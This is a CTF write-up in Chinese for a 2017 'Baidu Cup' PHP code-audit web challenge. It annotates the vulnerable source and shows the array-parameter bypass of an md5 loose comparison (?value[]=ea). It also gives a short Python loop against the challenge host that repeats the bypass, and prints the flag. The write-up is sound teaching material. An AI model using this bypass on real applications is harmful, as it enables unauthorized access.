“百度杯”CTF比賽 2017 二月場
爆破-3
題目型別:web
題目描述:開啟靶機,得到一段php程式碼,說明這是一道php程式碼審計型別的題:
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120<time()){
session_destroy();
}
$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if($_SESSION['nums']>=10){
echo $flag;
}
show_source(__FILE__);
?>
解題方法:我們來審計一下這一段php程式碼:
<?php
error_reporting(0); // 關閉錯誤報告,防止洩漏敏感資訊
session_start(); // 啟動會話,以便在頁面之間共享資料
require('./flag.php'); // 匯入 flag.php 檔案,可能包含了一些敏感資訊
// 如果會話中不存在 'nums' 鍵,則初始化為 0,同時記錄時間和當前使用者為 'ea'
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time(); // 記錄當前時間
$_SESSION['whoami'] = 'ea'; // 記錄當前使用者標識
}
// 如果距離會話開始的時間超過 120 秒,則銷燬會話
if($_SESSION['time']+120<time()){
session_destroy();
}
$value = $_REQUEST['value']; // 從使用者請求中獲取 'value' 引數
$str_rand = range('a', 'z'); // 建立包含字母 'a' 到 'z' 的陣列
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]; // 從陣列中隨機選擇兩個字母組合成字串
// 如果使用者輸入的前兩個字元與會話中的 'whoami' 相同,並且輸入的值經過 md5 加密後的結果是0
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++; // 會話中記錄次數加一
$_SESSION['whoami'] = $str_rands; // 更新當前使用者標識
echo $str_rands; // 輸出隨機字串
}
// 如果會話中記錄的次數大於等於 10,則輸出 flag
if($_SESSION['nums']>=10){
echo $flag; // 輸出 flag.php 中定義的 flag
}
show_source(__FILE__); // 顯示當前 PHP 檔案的原始碼
?>
關鍵是在於這裡:
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++; // 會話中記錄次數加一
$_SESSION['whoami'] = $str_rands; // 更新當前使用者標識
echo $str_rands; // 輸出隨機字串
這裡要MD5加密後的值為0,可以用陣列來進行繞過,MD5對陣列不能處理,這裡我們用陣列來傳入當前的使用者標識 ?value[]=ea
這是nums就會加一,whoami就會隨機產生一個新的字元在最上邊,每次傳入隨機產生的字元,nums就會增加一次,當nums==10的時候就會輸出flag,這裡可以手動每次輸入並傳入隨機產生的字元,連續10就可以,它的回話時間限制有120秒,夠進行手動輸入
也可以編寫python指令碼:
import requests
url = 'http://eci-2zedizxwhsw2plkete27.cloudeci1.ichunqiu.com/'
session = requests.Session()
html = session.get(url+'?value[]=ea').text
for _ in range(10):
html = session.get(url+'?value[]='+html[:2]).text
print(html)
得到flag:
flag{16604491-e2d1-4842-a21d-8dd961695290}